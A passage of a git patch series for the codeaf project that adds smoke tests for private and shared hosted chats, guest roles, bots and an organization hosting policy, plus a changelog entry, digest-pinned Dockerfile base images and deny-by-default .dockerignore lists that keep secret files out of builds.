refused in the exact words', p2_error(refused) == GUEST_NEEDS_RUN, short(refused, 240)) + still = guest.call('Interrupt') + check('P2-5 and steering still goes through (it is another verb)', p2_error(still) != GUEST_NEEDS_STEER and still is not None, short(still, 200)) + code, put = http('PUT', ORG + '/v1/org/policy', operator, policy_now) + check('P2-5 the operator puts the policy back', code == 200, f'{code} {short(put, 160)}') + time.sleep(HEARTBEAT * 3 + 1) + + # A turn that is running can be interrupted by a guest who may steer. + started = [] + runner = threading.Thread(target=lambda: started.append((time.time(), chat(priya, 'bash: sleep 40; echo slept-the-full-time', session=chat_p, timeout=100), time.time())), daemon=True) + runner.start() + time.sleep(8) + interrupted = guest.call('Interrupt') + check('P2-5 a guest who may steer can interrupt a running turn', interrupted is not None and not p2_error(interrupted), short(interrupted, 240)) + runner.join(100) + ran_for = (started[0][2] - started[0][0]) if started else 0 + check('P2-5 and the turn did stop early', bool(started) and 'slept-the-full-time' not in started[0][1][1], f'ran {ran_for:.0f}s: {short(started[0][1] if started else None, 200)}') + + # Taking the access away ends the open window within a few heartbeats, in plain words. + p2_revoke(priya, chat_p, g_edit) + frames, closed = guest.drain_until_closed(HEARTBEAT * 8 + 5) + check('P2-5 the guest\'s open window is ended after the access is removed', closed, f'{len(frames)} frames, closed {closed}') + check('P2-5 and the last thing it was told is that its access was removed', any(f.get('kind') == 'fatal' and ACCESS_REMOVED in str(f.get('error', f)) for f in frames), short(frames[-2:], 240)) + guest.close() + got = http('GET', ORG + '/v1/hosted/sessions/' + chat_p, noor) + check('P2-1 and the chat is Noor\'s no more: it is the unknown-chat answer again', got[0] == 404 and (got[1] or {}).get('error') == NO_SUCH_CHAT, short(got, 200)) + code, listed = http('GET', ORG + '/v1/hosted/sessions', noor) + check('P2-1 and it left his shared list', chat_p not in p2_ids(listed, 'shared'), short(listed, 200)) + + # P2-4 and P2-9: what the operator is shown of a chat that the policy does not keep private, and never the wire. + code, policy = http('GET', ORG + '/v1/org/policy', operator) + original = json.loads(json.dumps(policy)) if code == 200 and isinstance(policy, dict) else None + check('P2-9 the operator reads the organization policy', original is not None, code) + if original is None: + return + changed = json.loads(json.dumps(original)) + changed.setdefault('defaults', {})['session'] = {'visibility': 'owner'} + code, put = http('PUT', ORG + '/v1/org/policy', operator, changed) + check('P2-4 the operator makes new chats visible as metadata (the default for chats is no longer private)', code == 200, f'{code} {short(put, 160)}') + status, out, err = 0, '', '' + code, made = http('POST', ORG + '/v1/hosted/sessions', priya, {}) + visible = (made or {}).get('id', '') if isinstance(made, dict) else '' + code, listed = http('GET', ORG + '/v1/hosted/sessions', operator) + seen_rows = [r for r in (listed or {}).get('shared', []) if r.get('id') == visible] if isinstance(listed, dict) else [] + check('P2-2 the operator lists that chat as metadata only (id, owner, how, state, times)', len(seen_rows) == 1 and set(seen_rows[0]) == LIST_OPERATOR_KEYS and seen_rows[0].get('access') == 'operator', short(seen_rows or listed, 300)) + wire = wire_answer(operator, visible) + check('P2-4 and the operator still cannot attach to it, or read it, from that role', wire[0] == 404 and NO_SUCH_CHAT in wire[1], wire) + code, back = http('PUT', ORG + '/v1/org/policy', operator, original) + check('P2-4 the operator puts the policy back', code == 200, f'{code} {short(back, 160)}') + code, listed = http('GET', ORG + '/v1/hosted/sessions', operator) + check('P2-1 and the chat is gone from the operator\'s list again', visible not in p2_ids(listed, 'shared'), short(listed, 200)) + http('POST', ORG + '/v1/hosted/sessions/%s/stop' % visible, priya, {}) + http('DELETE', ORG + '/v1/hosted/sessions/' + visible, priya) + + # P2-6: a bot is its creator and no more, decided again at every request. + code, made = http('POST', ORG + '/v1/bots', priya, {'name': 'p2-smoke'}) + bot = (made or {}).get('token', '') if isinstance(made, dict) else '' + bot_id = ((made or {}).get('bot') or {}).get('id', '') if isinstance(made, dict) else '' + check('P2-6 a person makes a bot', code in (200, 201) and bot.startswith('cbt_'), f'{code}') + if not bot: + return + code, theirs = http('GET', ORG + '/v1/hosted/sessions', bot) + check('P2-6 the bot lists what its creator lists', code == 200 and chat_p in p2_ids(theirs, 'sessions'), short(theirs, 200)) + code, made = http('POST', ORG + '/v1/hosted/sessions', bot, {}) + bot_chat = (made or {}).get('id', '') if isinstance(made, dict) else '' + check('P2-6 the bot starts a chat', code in (200, 201) and bot_chat.startswith('hs_'), f'{code} {short(made, 160)}') + code, mine = http('GET', ORG + '/v1/hosted/sessions', priya) + check('P2-6 the bot\'s chat is its creator\'s', bot_chat in p2_ids(mine, 'sessions'), short(mine, 200)) + for who, token in (('Noor', noor), ('the operator', operator)): + code, other = http('GET', ORG + '/v1/hosted/sessions', token) + got = http('GET', ORG + '/v1/hosted/sessions/' + bot_chat, token) + check(f'P2-6 {who} cannot see the bot\'s chat', bot_chat not in p2_ids(other, 'sessions') + p2_ids(other, 'shared') and got[0] == 404 and (got[1] or {}).get('error') == NO_SUCH_CHAT, short(got, 160)) + code, refused = http('GET', ORG + '/v1/hosted/keys', bot) + check('P2-6 a bot cannot read a person\'s stored keys', code in (401, 403) and BOT_REFUSED in json.dumps(refused), f'{code} {short(refused, 160)}') + code, refused = http('PUT', ORG + '/v1/hosted/keys/openrouter', bot, {'key': 'sk-not-from-a-bot'}) + check('P2-6 and cannot store one', code in (401, 403) and BOT_REFUSED in json.dumps(refused), f'{code} {short(refused, 160)}') + + code, g_bot = p2_grant(noor, chat_n, 'priya', 'view') + check('P2-6 Noor shares his chat with Priya (view)', code == 201 and bool(g_bot), f'{code}') + code, theirs = http('GET', ORG + '/v1/hosted/sessions', bot) + check('P2-6 the bot now lists Noor\'s chat under shared, as Priya does', chat_n in p2_ids(theirs, 'shared'), short(theirs, 240)) + status, out, err = chat(noor, 'bash: echo noor-first', session=chat_n) + bot_wire = Wire(bot, chat_n) + welcome = bot_wire.hello(clientID='smoke-bot') if bot_wire.status == 101 else None + check('P2-6 the bot attaches to the chat its creator may watch', bot_wire.status == 101 and welcome is not None and welcome.get('kind') == 'welcome', f'{bot_wire.status} {short(welcome, 160)}') + refused = bot_wire.call('Submit', {'text': 'bot-was-here'}) if bot_wire.status == 101 else None + check('P2-6 and is refused sending into it, like its creator at view', p2_error(refused) == GUEST_NEEDS_RUN, short(refused, 240)) + p2_revoke(noor, chat_n, g_bot) + frames, closed = bot_wire.drain_until_closed(HEARTBEAT * 8 + 5) + check('P2-6 the creator loses the right and the bot\'s open window ends within a heartbeat or two', closed and any(f.get('kind') == 'fatal' for f in frames), f'{len(frames)} frames, closed {closed}') + bot_wire.close() + got = http('GET', ORG + '/v1/hosted/sessions/' + chat_n, bot) + code, theirs = http('GET', ORG + '/v1/hosted/sessions', bot) + check('P2-6 and the bot\'s very next request for it is refused', got[0] == 404 and chat_n not in p2_ids(theirs, 'shared'), short(got, 160)) + http('POST', ORG + '/v1/hosted/sessions/%s/stop' % bot_chat, bot, {}) + code, gone = http('DELETE', ORG + '/v1/hosted/sessions/' + bot_chat, bot) + check('P2-7 the bot can end its own chat', code in (200, 204), f'{code}') + if bot_id: + http('DELETE', ORG + '/v1/bots/' + bot_id, priya) + + # P2-9: the hosting policy: reported in the list, changed only by the operator, refused when it is not one of the three words. + def hosting(token, key='local_sessions'): + code, body = http('GET', ORG + '/v1/hosted/sessions', token) + return ((body or {}).get('hosting') or {}).get(key) if isinstance(body, dict) else None + check('P2-9 an organization with chats on starts at refuse', hosting(priya) == 'refuse', hosting(priya)) + check('P2-9 and the words for it say chats do not start on this computer and point at the personal account', + 'do not start on this computer' in (hosting(priya, 'words') or '') and 'switch to your personal account' in (hosting(priya, 'words') or ''), hosting(priya, 'words')) + for word, phrase in (('warn', 'not part of the organization\'s account'), ('allow', '')): + edited = json.loads(json.dumps(original)) + edited['hosting'] = {'local_sessions': word} + code, _ = http('PUT', ORG + '/v1/org/policy', operator, edited) + check(f'P2-9 the operator sets it to {word} and the list says {word}', code == 200 and hosting(priya) == word, f'{code} {hosting(priya)}') + words = hosting(priya, 'words') or '' + check(f'P2-9 and its words are {"the warning" if phrase else "none"}', (phrase in words) if phrase else not words, words) + bad_edit = json.loads(json.dumps(original)) + bad_edit['hosting'] = {'local_sessions': 'sometimes'} + code, refused = http('PUT', ORG + '/v1/org/policy', operator, bad_edit) + check('P2-9 a word that is not allow, warn or refuse is refused in words and changes nothing', code in (400, 422) and 'allow, warn or refuse' in json.dumps(refused) and hosting(priya) == 'allow', f'{code} {short(refused, 200)}') + edited = json.loads(json.dumps(original)) + edited['hosting'] = {'local_sessions': 'warn'} + code, _ = http('PUT', ORG + '/v1/org/policy', priya, edited) + check('P2-9 a person who is not the operator cannot change it', code in (401, 403) and hosting(priya) == 'allow', f'{code}') + code, back = http('PUT', ORG + '/v1/org/policy', operator, original) + check('P2-9 the operator puts the policy back and the list reads refuse again', code == 200 and hosting(priya) == 'refuse', f'{code} {hosting(priya)}') + + P2_STATE.write_text(json.dumps({'priya_chat': chat_p, 'noor_chat': chat_n})) + P2_STATE.chmod(0o600) + + +def hosted_p2_after(): + print('--- hosted chats P2 after every service restarted') + operator, priya, noor = sign_in('owner'), sign_in('priya'), sign_in('noor') + check('P2 the three people still sign in', bool(operator and priya and noor)) + if not (operator and priya and noor): + return + state = json.loads(P2_STATE.read_text()) + chat_p = state['priya_chat'] + code, mine = http('GET', ORG + '/v1/hosted/sessions', priya) + check('P2-1 the owner still has the chat after the restart', chat_p in p2_ids(mine, 'sessions'), short(mine, 200)) + for who, token in (('Noor', noor), ('the operator', operator)): + code, other = http('GET', ORG + '/v1/hosted/sessions', token) + got = http('GET', ORG + '/v1/hosted/sessions/' + chat_p, token) + check(f'P2-1 {who} still has none of it after the restart', chat_p not in p2_ids(other, 'sessions') + p2_ids(other, 'shared') and got[0] == 404, short(got, 160)) + + def main(): parser = argparse.ArgumentParser() parser.add_argument('section', choices=['all', 'control', 'job', 'org', 'after', 'after-org', 'hosted-prepare', 'hosted-seed', 'hosted', 'hosted-host', 'hosted-after', 'hosted-leftovers', - 'hosted-p1', 'hosted-p1-host', 'hosted-p1-restart', 'hosted-p1-bearer', 'hosted-p1-after']) + 'hosted-p1', 'hosted-p1-host', 'hosted-p1-restart', 'hosted-p1-bearer', 'hosted-p1-after', + 'hosted-p2-prepare', 'hosted-p2', 'hosted-p2-after']) parser.add_argument('--operator-link', default='') args = parser.parse_args() for name, run in (('control', control), ('job', job), ('org', lambda: org(args.operator_link)), ('after', after), ('after-org', after_org), ('hosted-prepare', hosted_prepare), ('hosted-seed', hosted_seed), ('hosted', hosted), ('hosted-host', hosted_host), ('hosted-after', hosted_after), ('hosted-leftovers', hosted_leftovers), ('hosted-p1', hosted_p1), ('hosted-p1-host', hosted_p1_host), ('hosted-p1-restart', hosted_p1_restart), ('hosted-p1-bearer', hosted_p1_bearer), - ('hosted-p1-after', hosted_p1_after)): + ('hosted-p1-after', hosted_p1_after), ('hosted-p2-prepare', hosted_p2_prepare), ('hosted-p2', hosted_p2), ('hosted-p2-after', hosted_p2_after)): if args.section == name or (args.section == 'all' and name in ('control', 'job')): run() print('RESULT ' + ('PASS' if failures == 0 else f'FAIL ({failures} check(s) failed)')) diff --git a/deploy/org/smoke.sh b/deploy/org/smoke.sh index f6487cfe3c..94c3ca8df5 100755 --- a/deploy/org/smoke.sh +++ b/deploy/org/smoke.sh @@ -20,7 +20,9 @@ # SMOKE_HOSTED=1 adds hosted chats (the `hosted` profile, .env.stub.hosted): two people run chats on the # sessionhost through `codeaf chat --org`, and the test checks that the chats are kept apart, hold no # secrets, cannot reach the other services, can only be attached by their owner, survive a closed -# client, are cleaned up on a stop, and survive a restart of the sessionhost. It needs a codeaf with +# client, are cleaned up on a stop, and survive a restart of the sessionhost; then (P1) the metered model door, people's own +# keys and git through the organization, and (P2) private-by-default chats, a guest watching a shared chat through a wire that +# refuses what the guest's rights do not allow, bots, and the hosting policy. It needs a codeaf with # `codeaf sessionhost` in it, so build the image from a local binary (README.md "Hosted chats"): # # cp ../../bin/codeaf codeaf-local && SMOKE_HOSTED=1 CODEAF_BINARY_FROM=local ./smoke.sh @@ -88,6 +90,11 @@ if [ "$HOSTED" = 1 ]; then else echo "FAIL C4 the refusal was not a clean one $out" >&2; bad=1 fi + # P2: a chat is private until it is shared, a shared chat is watched through a wire that checks every call against the guest's + # rights, a bot is its creator and no more, and the policy says where chats may run. Needs a third person, invited by the section. + run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted-p2-prepare + $DC exec -T codeaf cat /data/smoke-p2-ids.json | $DC exec -T sessionhost python3 $SMOKE hosted-seed || bad=1 + run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted-p2 fi [ "$FULL" = 1 ] && run runner '' job @@ -102,6 +109,7 @@ if [ "$HOSTED" = 1 ]; then $DC exec -T sessionhost python3 $SMOKE hosted-leftovers || bad=1 run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted-after run codeaf '-e ORG_URL=http://127.0.0.1:8787 -e GITSTUB_TOKEN' hosted-p1-after + run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted-p2-after fi if [ "$bad" = 0 ]; then echo 'SMOKE PASSED'; else echo 'SMOKE FAILED' >&2; exit 1; fi From 8119fba90099da61e5d199bcde62f49ce3abac5f Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 12:26:52 -0500 Subject: [PATCH 070/176] hosted P2: the change entry says what was believed and what is true now Co-Authored-By: Claude Sonnet 5.5 --- .../changes/unreleased/2900-hosted-chats-p2.md | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 docs/changes/unreleased/2900-hosted-chats-p2.md diff --git a/docs/changes/unreleased/2900-hosted-chats-p2.md b/docs/changes/unreleased/2900-hosted-chats-p2.md new file mode 100644 index 0000000000..4e89e61818 --- /dev/null +++ b/docs/changes/unreleased/2900-hosted-chats-p2.md @@ -0,0 +1,18 @@ +--- +kind: added +title: Hosted chats are private until shared, and a shared chat can be watched, steered and written in +pr: 2900 +surface: [chat, engine, factory, build, docs] +invalidates: + - "A hosted chat was known to the organization server only by its owner's handle: every person's chats were found by asking the chats' machine for that person, there was no way to give anyone else a view, and the operator was not told how to treat a chat it did not own. Now a hosted chat is a private session resource of the organization's access core: it is left out of every other person's list and live event stream (the operator's too), every door answers `There is no such chat.` for someone who may not see it, and sharing it by the ordinary grants path puts it in the other person's `shared` list. A chat made before this change is registered the first time its owner touches it." + - "Attaching to a hosted chat copied the owner's bytes both ways and nobody but the owner could attach. A person a chat is shared with now gets a wire the organization server ends itself and checks frame by frame: view watches and reads, steer also interrupts and steers, answer also answers a question, and run also sends messages, files, images and commands that execute as the chat's owner, with the owner's folder, GitHub identity, model key and spending caps. Everything else (approving a command, settings, files, stopping the chat) stays the owner's whatever the role, and `edit` and `full` hold `run`. Taking a share away, or changing the policy so it no longer applies, ends an open window within five seconds (CODEAF_HOSTED_HEARTBEAT, from one second to one minute)." + - "Who was in a chat was not written down: a spend row, a git credential and a message carried only the owner. Each message a guest sends now leaves an owner-visible audit line naming who sent it and never what it said, each git-credential line names who was asking, and the spend row has an `asker` that is approximate (whoever last sent a message, steered or answered through the server)." + - "A bot could not use hosted chats. It now starts, lists, opens, stops and deletes them as the person who made it, holds what that person holds on each chat right now narrowed by its scope, and loses a chat on its next request when that person loses it; a bot still cannot touch stored keys or the git door. A chat a bot starts belongs to its creator and is recorded as made by the bot." + - "The organization's policy had no say about where chats run. It has an additive `hosting` section: `local_sessions` (allow, warn or refuse; empty means refuse when the organization runs a chat host and allow when it does not) and `max_session_cost_usd` (a positive value replaces CODEAF_HOSTED_SESSION_CAP_USD). `GET /v1/hosted/sessions` reports the effective value with plain words that point at switching to the personal account. No client acts on `local_sessions` yet: `codeaf` on a computer still starts local chats." +--- + +A hosted chat can now be shared on purpose. It starts private; its owner shares it with a person, a team or the +whole organization at a role, and what that role allows is checked at the wire: watching, steering, answering, or +sending messages that run as the owner. A person you let send messages acts with your GitHub identity, your files and +your spending limits, and the server notes who asked. One known limit: the chat lets one window type at a time, so a +guest's message waits while the owner's own window holds the keyboard. From 3d42ee8a60e3664139bd9f3306556382dceda031 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:17:51 -0500 Subject: [PATCH 071/176] deploy/org: pin every base image and the Dockerfile syntax frontend by digest A tag can be re-pointed, a digest cannot. Tag and digest are kept together so the reader sees what was meant; gate/pins-check.sh (a later commit) fails a Dockerfile that drops one. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/agentfield.Dockerfile | 4 ++-- deploy/org/gitstub.Dockerfile | 6 +++--- deploy/org/modelstub.Dockerfile | 6 +++--- deploy/org/pr-af.Dockerfile | 8 ++++---- deploy/org/swe-af.Dockerfile | 8 ++++---- 5 files changed, 16 insertions(+), 16 deletions(-) diff --git a/deploy/org/agentfield.Dockerfile b/deploy/org/agentfield.Dockerfile index 08857ba4e1..e1ed1ae7b0 100644 --- a/deploy/org/agentfield.Dockerfile +++ b/deploy/org/agentfield.Dockerfile @@ -1,4 +1,4 @@ -# syntax=docker/dockerfile:1.10 +# syntax=docker/dockerfile:1.10@sha256:865e5dd094beca432e8c0a1d5e1c465db5f998dca4e439981029b3b81fb39ed5 # # The AgentField control plane, from the PUBLISHED image, pinned by tag and digest. # @@ -18,7 +18,7 @@ ARG AGENTFIELD_IMAGE=agentfield/control-plane:staging-0.1.147-rc.11@sha256:1c85c2f1cf53239b1a68b0fb3df772c6e77dd18292071bd98829259261be7d15 -FROM busybox:1.37.0-musl AS busybox +FROM busybox:1.37.0-musl@sha256:f6a95d611e0a8780fabdb2aec43e31275b2720dfefa3e41b16835bfc42454478 AS busybox FROM ${AGENTFIELD_IMAGE} COPY --from=busybox /bin/busybox /usr/local/bin/busybox diff --git a/deploy/org/gitstub.Dockerfile b/deploy/org/gitstub.Dockerfile index 6d3e807e27..a08184cf31 100644 --- a/deploy/org/gitstub.Dockerfile +++ b/deploy/org/gitstub.Dockerfile @@ -1,11 +1,11 @@ -# syntax=docker/dockerfile:1.10 -FROM golang:1.23-alpine AS build +# syntax=docker/dockerfile:1.10@sha256:865e5dd094beca432e8c0a1d5e1c465db5f998dca4e439981029b3b81fb39ed5 +FROM golang:1.23-alpine@sha256:383395b794dffa5b53012a212365d40c8e37109a626ca30d6151c8348d380b5f AS build ENV CGO_ENABLED=0 GOFLAGS=-buildvcs=false WORKDIR /src COPY gitstub/ ./ RUN go build -trimpath -ldflags="-s -w" -o /out/gitstub . -FROM alpine:3.21 +FROM alpine:3.21@sha256:bc21487101ae47172509130ee1092cc273a831968d64b617776d1f69c81e42ab # Alpine ships git-http-backend, the smart-HTTP server the stub runs, in its own package. RUN apk add --no-cache git git-daemon COPY --from=build /out/gitstub /usr/local/bin/gitstub diff --git a/deploy/org/modelstub.Dockerfile b/deploy/org/modelstub.Dockerfile index 6d6060b406..667e1adbc5 100644 --- a/deploy/org/modelstub.Dockerfile +++ b/deploy/org/modelstub.Dockerfile @@ -1,4 +1,4 @@ -# syntax=docker/dockerfile:1.10 +# syntax=docker/dockerfile:1.10@sha256:865e5dd094beca432e8c0a1d5e1c465db5f998dca4e439981029b3b81fb39ed5 # # A keyless stand-in for an OpenRouter-compatible model endpoint, for smoke tests # only (the `stub` profile in compose.yaml). Every answer is free and scripted: @@ -8,13 +8,13 @@ # # Build context is this folder: docker build -f modelstub.Dockerfile -t modelstub-org . -FROM golang:1.23-bookworm AS build +FROM golang:1.23-bookworm@sha256:167053a2bb901972bf2c1611f8f52c44d5fe7e762e5cab213708d82c421614db AS build ENV CGO_ENABLED=0 GOFLAGS=-buildvcs=false WORKDIR /src COPY modelstub/ ./ RUN go build -trimpath -ldflags="-s -w" -o /out/modelstub . -FROM gcr.io/distroless/static-debian12:nonroot +FROM gcr.io/distroless/static-debian12:nonroot@sha256:afa5c872c891853ca7fcf1f12c3edb23f7eeef36189728842dd51042ff57f7ab COPY --from=build /out/modelstub /usr/local/bin/modelstub EXPOSE 8890 ENTRYPOINT ["/usr/local/bin/modelstub"] diff --git a/deploy/org/pr-af.Dockerfile b/deploy/org/pr-af.Dockerfile index 10d5e04b6b..41e4b92a70 100644 --- a/deploy/org/pr-af.Dockerfile +++ b/deploy/org/pr-af.Dockerfile @@ -1,4 +1,4 @@ -# syntax=docker/dockerfile:1.10 +# syntax=docker/dockerfile:1.10@sha256:865e5dd094beca432e8c0a1d5e1c465db5f998dca4e439981029b3b81fb39ed5 # # PR-AF, the pull-request review reasoner node, built from a PINNED commit of its # public repository, with codeaf available as the review harness. The control @@ -12,7 +12,7 @@ ARG CODEAF_RELEASE=dev-20261124-3791ee6467c7 ARG CODEAF_SHA256_AMD64=8ad946abcaadad4f753d2dd9095b08a099f97bfa9c09fb133857c36d31a32fe1 ARG CODEAF_SHA256_ARM64=f4e21cc0df14ac3ec3696331a6013020b4a322c5a295a66d101d60c986579c9a -FROM debian:bookworm-slim AS fetch +FROM debian:bookworm-slim@sha256:e67eeead736ff7bbe258ef088bff683635c561b1fcfefad0806c1df4ab49ce0e AS fetch ARG CODEAF_RELEASE ARG CODEAF_SHA256_AMD64 ARG CODEAF_SHA256_ARM64 @@ -28,7 +28,7 @@ RUN set -eu; \ chmod 0755 codeaf; \ ./codeaf version -FROM golang:1.23-bookworm AS build +FROM golang:1.23-bookworm@sha256:167053a2bb901972bf2c1611f8f52c44d5fe7e762e5cab213708d82c421614db AS build ARG PRAF_REF ENV CGO_ENABLED=0 GOFLAGS=-buildvcs=false RUN git init -q /src && cd /src \ @@ -40,7 +40,7 @@ WORKDIR /src/go RUN go mod download RUN go build -trimpath -ldflags="-s -w" -o /out/pr-af ./cmd/pr-af -FROM debian:bookworm-slim AS runtime +FROM debian:bookworm-slim@sha256:e67eeead736ff7bbe258ef088bff683635c561b1fcfefad0806c1df4ab49ce0e AS runtime # git: reviews clone, fetch and check out the pull request. tini: reaps what a harness leaves behind. RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates curl git tini \ diff --git a/deploy/org/swe-af.Dockerfile b/deploy/org/swe-af.Dockerfile index ebb073bf74..78c3ea82be 100644 --- a/deploy/org/swe-af.Dockerfile +++ b/deploy/org/swe-af.Dockerfile @@ -1,4 +1,4 @@ -# syntax=docker/dockerfile:1.10 +# syntax=docker/dockerfile:1.10@sha256:865e5dd094beca432e8c0a1d5e1c465db5f998dca4e439981029b3b81fb39ed5 # # SWE-AF, the build-an-issue-into-a-pull-request reasoner node (`swe-planner`), # built from a PINNED commit of its public repository, with codeaf as its @@ -13,7 +13,7 @@ ARG CODEAF_RELEASE=dev-20261124-3791ee6467c7 ARG CODEAF_SHA256_AMD64=8ad946abcaadad4f753d2dd9095b08a099f97bfa9c09fb133857c36d31a32fe1 ARG CODEAF_SHA256_ARM64=f4e21cc0df14ac3ec3696331a6013020b4a322c5a295a66d101d60c986579c9a -FROM debian:bookworm-slim AS fetch +FROM debian:bookworm-slim@sha256:e67eeead736ff7bbe258ef088bff683635c561b1fcfefad0806c1df4ab49ce0e AS fetch ARG CODEAF_RELEASE ARG CODEAF_SHA256_AMD64 ARG CODEAF_SHA256_ARM64 @@ -29,7 +29,7 @@ RUN set -eu; \ chmod 0755 codeaf; \ ./codeaf version -FROM golang:1.23-bookworm AS build +FROM golang:1.23-bookworm@sha256:167053a2bb901972bf2c1611f8f52c44d5fe7e762e5cab213708d82c421614db AS build ARG SWEAF_REF ENV CGO_ENABLED=0 GOFLAGS=-buildvcs=false RUN git init -q /src && cd /src \ @@ -41,7 +41,7 @@ WORKDIR /src/go RUN go mod download RUN go build -trimpath -ldflags="-s -w" -o /out/swe-planner ./cmd/swe-planner -FROM debian:bookworm-slim AS runtime +FROM debian:bookworm-slim@sha256:e67eeead736ff7bbe258ef088bff683635c561b1fcfefad0806c1df4ab49ce0e AS runtime # git and gh: clone, branch, and open the pull request. python3 and pytest: repositories # under build are often Python and the verifier has to be able to run their tests. # jq: the agents' shell steps. tini: reaps what a harness leaves behind. From dd9a39bd5c2dfff221edec4cab955526d670f98e Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:20:19 -0500 Subject: [PATCH 072/176] deploy/org: build the codeaf image from source with make build, and deny every build context by default codeaf.Dockerfile gains a source mode (CODEAF_BINARY_FROM=source, repository root as the context) that runs make build with the commit stamped in, so the image carries the commit it is labelled with, sessionhost included; fetch (the default) and local are unchanged. A context-probe target lists what a build context holds. The build contexts are allowlists: only what a Dockerfile COPYs is named, and secret-looking names are refused last so they win inside the allowed folders. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/.dockerignore | 33 ++++++++-- deploy/org/codeaf.Dockerfile | 74 +++++++++++++++++------ deploy/org/codeaf.Dockerfile.dockerignore | 49 +++++++++++++++ 3 files changed, 132 insertions(+), 24 deletions(-) create mode 100644 deploy/org/codeaf.Dockerfile.dockerignore diff --git a/deploy/org/.dockerignore b/deploy/org/.dockerignore index fdf5407dbd..e33b5d8183 100644 --- a/deploy/org/.dockerignore +++ b/deploy/org/.dockerignore @@ -1,5 +1,28 @@ -# The build context is this folder; secrets and local state never go into an image. -.env -.env.* -!.env.example -!.env.stub +# The build context of every other Dockerfile in this folder (agentfield, swe-af, pr-af, modelstub, gitstub) is this +# folder, DENIED BY DEFAULT: only what a Dockerfile COPYs is named. codeaf.Dockerfile has its own list beside it +# (codeaf.Dockerfile.dockerignore), which BuildKit reads in place of this one for that file. +* +!scripts +!modelstub +!gitstub +!codeaf-local + +# LAST, so that it wins inside the folders allowed above. +**/.env +**/.env.* +**/*.env +**/*.pem +**/*.key +**/*.p12 +**/*.pfx +**/id_rsa* +**/id_ed25519* +**/.netrc +**/.npmrc +**/.ssh +**/.aws +**/.codeaf +**/.aforge +**/.git +**/__pycache__ +**/*.pyc diff --git a/deploy/org/codeaf.Dockerfile b/deploy/org/codeaf.Dockerfile index 9713784ed0..d0c7e01f93 100644 --- a/deploy/org/codeaf.Dockerfile +++ b/deploy/org/codeaf.Dockerfile @@ -1,28 +1,41 @@ -# syntax=docker/dockerfile:1.10 +# syntax=docker/dockerfile:1.10@sha256:865e5dd094beca432e8c0a1d5e1c465db5f998dca4e439981029b3b81fb39ed5 # -# The codeaf image. The organization server (`codeaf factory serve`) and the -# factory runner both run from it, picked by the first argument of the -# entrypoint (scripts/entrypoint.sh). +# The codeaf image. The organization server (`codeaf factory serve`), the +# factory runner and the hosted chats' sessionhost all run from it, picked by the +# first argument of the entrypoint (scripts/entrypoint.sh). # -# It runs a PUBLISHED, PINNED codeaf build: the dev-channel release below, checked -# against its sha256 before it enters the image. That is the same binary people -# download, with the manuals packed in. To move to a newer build, change all -# three of CODEAF_RELEASE and the two checksums together (they are in that -# release's checksums.txt); changing the strings also busts Docker's layer cache, -# which a floating "latest" would not. +# WHERE THE BINARY COMES FROM (CODEAF_BINARY_FROM): +# fetch a PUBLISHED, PINNED codeaf build: the dev-channel release below, checked +# against its sha256 before it enters the image. The default for a local +# `docker compose up --build`. To move to a newer build change all three +# of CODEAF_RELEASE and the two checksums together (they are in that +# release's checksums.txt); changing the strings also busts Docker's layer +# cache, which a floating "latest" would not. +# source built here from the source in the build context, with `make build`, the +# same build the release makes. This is what the published image is +# (.github/workflows/org-images.yml): it carries exactly the commit it is +# labelled with, including a sessionhost no release has shipped yet. The +# context must be the REPOSITORY ROOT: +# docker build -f deploy/org/codeaf.Dockerfile --build-arg ORG_DIR=deploy/org \ +# --build-arg CODEAF_BINARY_FROM=source --build-arg SOURCE_COMMIT=$(git rev-parse HEAD) . +# codeaf.Dockerfile.dockerignore is deny-by-default, so only the files the build +# needs enter it. +# local a codeaf built on this machine and placed beside this file as `codeaf-local`. +# docker build --build-arg CODEAF_BINARY_FROM=local -f codeaf.Dockerfile -t codeaf-org/codeaf:local . # -# Build context is this folder: docker build -f codeaf.Dockerfile -t codeaf-org . +# Build context for fetch and local is this folder: docker build -f codeaf.Dockerfile -t codeaf-org . +# +# EVERY BASE IMAGE IS PINNED BY DIGEST (tag kept for the reader). To move one, resolve the tag again +# (`docker buildx imagetools inspect --format '{{.Manifest.Digest}}'`) and change tag and digest together. ARG CODEAF_RELEASE=dev-20261124-3791ee6467c7 ARG CODEAF_SHA256_AMD64=8ad946abcaadad4f753d2dd9095b08a099f97bfa9c09fb133857c36d31a32fe1 ARG CODEAF_SHA256_ARM64=f4e21cc0df14ac3ec3696331a6013020b4a322c5a295a66d101d60c986579c9a -ARG RUNTIME_IMAGE=debian:bookworm-slim -# Where the binary comes from: `fetch` (the published, checksummed release above, the default) or -# `local`, a codeaf built on this machine and placed beside this file as `codeaf-local`. Only the -# second is for a build that needs a command no release has yet (the hosted-chats service, until a -# release carries it): -# docker build --build-arg CODEAF_BINARY_FROM=local -f codeaf.Dockerfile -t codeaf-org/codeaf:local . +ARG RUNTIME_IMAGE=debian:bookworm-slim@sha256:e67eeead736ff7bbe258ef088bff683635c561b1fcfefad0806c1df4ab49ce0e +ARG GO_IMAGE=golang:1.26-bookworm@sha256:4ebd099cae89439fff17af404a9c724079d439b4d92178819318735312ee9eb3 ARG CODEAF_BINARY_FROM=fetch +# Where deploy/org is inside the build context: `.` when the context is this folder, `deploy/org` when it is the repository root. +ARG ORG_DIR=. FROM ${RUNTIME_IMAGE} AS fetch ARG CODEAF_RELEASE @@ -43,13 +56,36 @@ RUN set -eu; \ # A locally built binary, when asked for (see CODEAF_BINARY_FROM above). Nothing is read from # codeaf-local unless that stage is the one chosen. FROM scratch AS local -COPY codeaf-local /out/codeaf +ARG ORG_DIR +COPY ${ORG_DIR}/codeaf-local /out/codeaf + +# The source build (see CODEAF_BINARY_FROM above). Nothing here runs unless this stage is the one chosen. +# CGO is off as in the release build, so the binary is static. The module cache is its own layer: it is +# rebuilt only when go.mod or go.sum change. SOURCE_COMMIT is public (a commit id), never a 